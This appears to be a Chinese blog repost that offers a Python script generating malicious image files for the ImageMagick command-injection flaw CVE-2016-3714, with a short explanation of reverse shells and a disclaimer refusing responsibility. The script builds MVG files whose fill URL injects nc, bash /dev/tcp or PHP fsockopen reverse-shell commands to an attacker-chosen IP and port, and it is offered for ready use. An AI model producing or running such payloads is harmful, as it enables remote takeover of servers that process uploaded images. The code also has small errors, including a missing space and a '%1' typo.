ImageMagick漏洞EXP简易生成脚本
程序员文章站
2022-06-13 23:03:57
...
前几天看到爆出了关于ImageMagick的远程执行漏洞(CVE-2016-3714),所以为了Evil0x.COM核心成员使用,写了一个exp生成脚本供大家使用。(免责声明,出了事我不管)
总体来说这个脚本有三个功能
生成针对NC反弹
生成针对bash反弹
生成针对php反射
服务端都可以使用nc侦听,会反弹shell。生成图片默认exp.png 后缀可以*更改为其他的图片格式
什么叫做shell反弹?
reverse shell,又称shell反弹或shell反射,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
作者:莫旭友
链接:http://www.zhihu.com/question/24503813/answer/28088923
来源:知乎,稍有改动
以上,放出源代码。
文件下载:
imagemagic_exp.zip
# -*-coding:utf-8-*-#!/usr/bin/env python#imagemagic_exp.py import argparse class payload(object): """ building payload,you must input shell typle and server ip and port CVE-2016-3714 - Insufficient shell characters filtering leads to (potentially remote) code execution Insufficient filtering for filename passed to delegate's command allows remote code execution during conversion of several file formats """ def __init__(self, shelltype,ip,port): #super(_paload, self).__init__() self.shelltype = shelltype self.ip = ip self.port =port self.nc='nc -e /bin/sh' + self.ip+ ' ' + self.port self.bash= 'bash -i >& /dev/tcp/' + self.ip + '/' + self.port +' 0>%1' self.php="php -r '$sock=fsockopen(%s,%s);exec(\"/bin/sh -i &3 2>&3\");'" %(self.ip,self.port) self.shell_dict={ 'nc': self.nc, 'bash': self.bash, 'php': self.php } def payloadbuild(self): """ push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/127.0.0.1/2333 0>&1")' pop graphic-context """ if self.shelltype =='nc': self.shell =self.shell_dict['nc'] if self.shelltype=='bash': self.shell =self.shell_dict['bash'] if self.shelltype=='php': self.shell =self.shell_dict['php'] self.shellcode="fill 'url(https://example.com/image.jpg\"|"+self.shell+ " \")\' " payload =[] payload.append('push graphic-context') payload.append('viewbox 0 0 640 480') payload.append(self.shellcode) payload.append('pop graphic-context') return payload #touch a jpg image def newimage(self): with open('exp.jpg', 'w') as file: for item in self.payloadbuild(): file.write(item+'\n') if __name__=='__main__': parse =argparse.ArgumentParser() parse.add_argument("--nc",help="生成可执行 nc反射的图片",action="store_true") parse.add_argument("--bash",help="生成可执行bash反射的图片",action="store_true") parse.add_argument("--php",help="生成可执行php射的图片",action="store_true") parse.add_argument("--ip",help="反弹shell 的 ip",default='127.0.0.1') parse.add_argument("--port",help="反弹shell的port",default='8888') args=parse.parse_args() if args.nc: test=payload('nc', args.ip, args.port) test.newimage() if args.bash: test=payload('bash', args.ip, args.port) test.newimage() if args.php: test=payload('php', args.ip, args.port) test.newimage()